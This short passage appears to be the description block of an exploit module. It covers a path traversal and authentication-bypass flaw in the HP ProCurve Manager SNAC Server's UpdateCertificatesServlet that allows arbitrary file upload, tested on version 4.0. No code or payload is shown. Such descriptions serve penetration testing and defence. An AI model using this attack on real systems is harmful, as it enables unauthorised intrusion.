        This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
        vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary
        files, just having into account binary writes aren't allowed. Additionally, authentication
        can be bypassed in order to upload the file. This module has been tested successfully on
        the SNAC server installed with HP ProCurve Manager 4.0.
